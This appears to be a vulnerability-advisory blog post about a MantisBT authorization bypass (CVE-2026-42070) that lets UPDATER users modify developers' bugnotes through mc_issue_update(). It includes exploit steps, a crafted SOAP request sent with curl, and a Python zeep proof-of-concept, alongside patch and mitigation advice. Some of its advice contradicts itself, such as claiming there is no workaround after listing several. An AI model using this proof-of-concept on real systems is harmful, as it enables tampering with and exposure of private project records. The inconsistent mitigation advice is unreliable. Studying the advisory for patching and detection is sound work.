MantisBT, Authorization Bypass, CVE‑2026‑42070 (Moderate)

Listen to this Post

How the CVE Works

  1. In default MantisBT installations, users with the UPDATER role (access level 40) are granted the `update_bug_threshold` permission.
  2. The SOAP and REST APIs expose a function named `mc_issue_update()` that is intended to allow bulk updates of an issue, including its bugnotes.
  3. Separately, the dedicated bugnote‑update API call `mc_issue_note_update()` enforces the DEVELOPER threshold (level 55), meaning only developers or above can edit any note.
  4. However, the `mc_issue_update()` function originally did not perform a note‑level permission check – it only verified the caller could update the issue itself.
  5. This oversight allowed an authenticated UPDATER to submit a modified “notes” array inside an issue update request, altering bugnotes that belonged to DEVELOPER, MANAGER, or ADMIN accounts.
  6. Because the check was missing, the attacker could also change the `view_state` of any note, toggling it between private and public irrespective of the original author’s intent.
  7. Additionally, the attacker could modify the time tracking fields embedded in the bugnotes, bypassing the usual restrictions.
  8. The vulnerability exists in both the SOAP and REST endpoints because they share the same underlying `mc_issue_update()` implementation.
  9. The absence of a note‑level authorization check is tracked as CWE‑863: Incorrect Authorization.
  10. Exploitation requires only a valid account with UPDATER privileges – no special code execution or SQL injection is needed.

11. A successful attack can:

Falsify internal developer comments.

Expose private discussions to unprivileged viewers.

Hide public notes from reporters.

Corrupt time‑tracking data used for billing or project metrics.
12. The issue was fixed by adding a per‑note permission loop inside `mc_issue_update()` that enforces the `update_bugnote_threshold` for notes owned by other users, and `bugnote_user_edit_threshold` for the attacker’s own notes.
13. The patch commit is 6e58fae4f22efdc3987f903c8ba2611de17a9435, and the first patched release is MantisBT 2.28.2.

DailyCVE Form

Platform: MantisBT
Version: <=2.28.1
Vulnerability: Authorization bypass
Severity: Moderate (CVSS 5.3)
date: 2026-05-11

Prediction: Patch available 2026-05-11

What Undercode Say (Analytics)

Bash commands / codes related to the advisory:

Check installed MantisBT version
grep "\$g_version" config_inc.php
Verify if the vulnerable function exists in the codebase
grep -r "function mc_issue_update" api/soap/mc_issue_api.php
Test if the instance is vulnerable (requires valid UPDATER credentials)
Send a SOAP request to update a bugnote owned by a developer
curl -X POST http://target/mantisbt/api/soap/mantisconnect.php \
-H "Content-Type: text/xml" \
-d @update_note.xml
Sample content of update_note.xml (SOAP request)
cat <<EOF > update_note.xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<mc_issue_update xmlns="http://futureware.biz/mantisconnect">
<username>attacker</username>
<password>attacker_pass</password>
<issueId>123</issueId>
<issueData>
<notes>
<note>
<id>456</id>
<text>Malicious edit</text>
<view_state>public</view_state>
</note>
</notes>
</issueData>
</mc_issue_update>
</soap:Body>
</soap:Envelope>
EOF
Apply the patch manually from the commit
cd /path/to/mantisbt
git remote add upstream https://github.com/mantisbt/mantisbt.git
git fetch upstream
git cherry-pick 6e58fae4f22efdc3987f903c8ba2611de17a9435

Exploit

  1. Authenticate to the MantisBT instance as a user with UPDATER privileges (level ≥ 40).
  2. Identify a target bugnote ID that belongs to a DEVELOPER, MANAGER, or ADMIN.
  3. Craft a SOAP/REST request that calls `mc_issue_update()` and includes the target bugnote in the `notes` array with the desired changes (e.g., altered text, view_state, or time tracking).
  4. Send the request. Because the original code lacked per‑note permission validation, the server accepts the update and modifies the note.
  5. Verify the change – the attacker can now read private notes, edit developer comments, or hide public discussion.

Proof‑of‑concept (Python using `zeep` for SOAP):

from zeep import Client
client = Client('http://target/mantisbt/api/soap/mantisconnect.php?wsdl')
client.service.mc_issue_update(
username='attacker',
password='pass',
issueId=123,
issueData={
'notes': [
{'id': 456, 'text': 'Hijacked note', 'view_state': 'public'}
]
}
)

Protection from this CVE

Upgrade to MantisBT 2.28.2 or later immediately.

If upgrading is impossible, manually apply the patch commit `6e58fae4f22efdc3987f903c8ba2611de17a9435` by editing `api/soap/mc_issue_api.php` and adding the note‑level permission loop shown in the commit diff.
Lower the `update_bug_threshold` to a value higher than 40 (e.g., 55) to reduce the number of users who can exploit this, but note this breaks legitimate workflows.
Monitor your SOAP/REST API logs for unexpected `mc_issue_update` calls that modify notes owned by users with higher access levels.
Restrict API access to trusted IP ranges or use an API gateway to block suspicious update patterns.

Impact

Confidentiality break – attackers can read private notes by changing their view_state to public.
Integrity violation – developers’ notes can be silently altered, and time‑tracking data can be manipulated.
Availability concern – removing or corrupting bugnotes can disrupt project management and auditing.
Lateral escalation – an UPDATER can effectively elevate their privileges by editing notes of higher‑level users, undermining role‑based access control.
No workaround – the only effective mitigation is applying the patch or upgrading.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top